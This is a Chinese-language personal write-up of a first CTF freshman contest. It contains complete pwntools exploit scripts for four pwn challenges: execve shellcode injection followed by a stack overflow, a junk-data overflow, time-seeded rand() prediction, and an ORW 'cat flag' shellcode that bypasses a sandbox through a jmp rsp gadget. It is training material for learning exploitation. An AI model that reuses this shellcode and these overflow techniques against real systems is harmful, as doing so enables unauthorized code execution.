第一次参加CTF新生赛总结与反思
因为昨天学校那边要进行天梯模拟赛，所以被拉过去了。
16点30分结束，就跑回来宿舍开始写。
第一题和第二题一下子getshell，不用30分钟，可能我没想那么多，对比网上的WP，自己和他们有点不太一样，比较暴力。
大概17点10的时候，写第三题，可能自己第一次遇到随机数问题，我当时的想法是网上有没有随机数种子的工具，查了一下，还真有这个库。说明了pwntools库是个宝藏，自己平时应该抽空研究一下那个库，利用好他，成为一把好工具。
后面第三题，刚结束的时候，写出来了。其实思路没有错，就是自己的脚本写的时候，想让代码看起来可读性更高（可能以前写开发项目写习惯了，强迫症），然后多取了一次随机数，导致和远程那边不同步。后面不知道怎么的，把那个变量删了，就好了，当时傻逼了。
第四题知道是orw题目，目标是读flag，但是不会写shellcode。只能说，有思路，写不出，所以后面也应该提升自己的shellcode能力。不能只会写那种比较固定的shellcode。
虽然不知道其他人情况如何，但是自己第一次参加，接触pwn还没有一个月，学习反馈还是挺满意。
一路也遇到了很多师傅，结交很多朋友！继续努力！
比赛题目总结（核心，一定要学会shellcode！）
PS：以下题目的保护权限都开得很少！！！
所以就不贴图checksec图片了！！！
要获得flag，本次比赛关键在于：会自己写简短的shellcode，会使用随机数库。
Shellcode（编写短shell）
题目思路很简单，就是shellcode，不过长度有限制。
我是自己手改pwntools。
使用pwntools生成的，本质就是执行/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
那么开始手搓，搞定！
注意，32位是int0x80，64位是syscall
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./pwn2')
io = remote('node6.anna.nssctf.cn',28961)
io.recvuntil(b'Please.')
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
io.sendline(asm(shellcode))
io.recvuntil(b"start!")
payload = b'a' * (0xa + 8 ) + p64(0x6010A0)
io.sendline(payload)
io.interactive()
EASY PWN（直接暴力）
不用想那么多，直接随便输入垃圾数据即可
因为只要V5大于0就ok了，甚至偏移都不用想，直接乱输入
from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./easypwn')
io = remote('node6.anna.nssctf.cn',28962)
payload = b'\x00'
payload = payload.ljust(0x30,b'a')
io.sendline(payload)
#io.sendlineafter(b'Password:',payload)
io.interactive()
真男人下120层（随机数库）
第一次认识，随机数这个库，然后没有什么难的
暴力循环120次即可
感觉一点都不pwn
注意脚本编写时候，别自作多情多取一次
from pwn import *
from ctypes import *
#context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./bin')
io=remote('node6.anna.nssctf.cn',28130)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
srand = libc.srand(srand % 3 - 1522127470)
io.recvuntil('Floor')
for i in range(121):
io.sendline(str(libc.rand( ) % 4 + 1).encode( ))
io.interactive()
Random（绕沙箱加短脚本）
程序禁了 execv，没开 NX，有 ‘jmp rsp’ 这么一个 gadget，所以往栈上写的 shellcode 是可执行且能利用到的。
很明显，是要读flag
先用pwn生成一个cat
用ljust左对齐抬高到0x28
返回地址为jmp rsp
填充 asm('sub rsp,0x30;call rsp')
那么返回的时候，执行jmp rsp，即asm('sub rsp,0x30;call rsp')，然后cat flag
太妙了！！！第一次见到这样的！
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')
from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.anna.nssctf.cn',28933)
#io=process('./RANDOM')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter('please input a guess num:',str(libc.rand( )%50).encode( ))
io.recvline()
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')
io.send(payload)
io.interactive()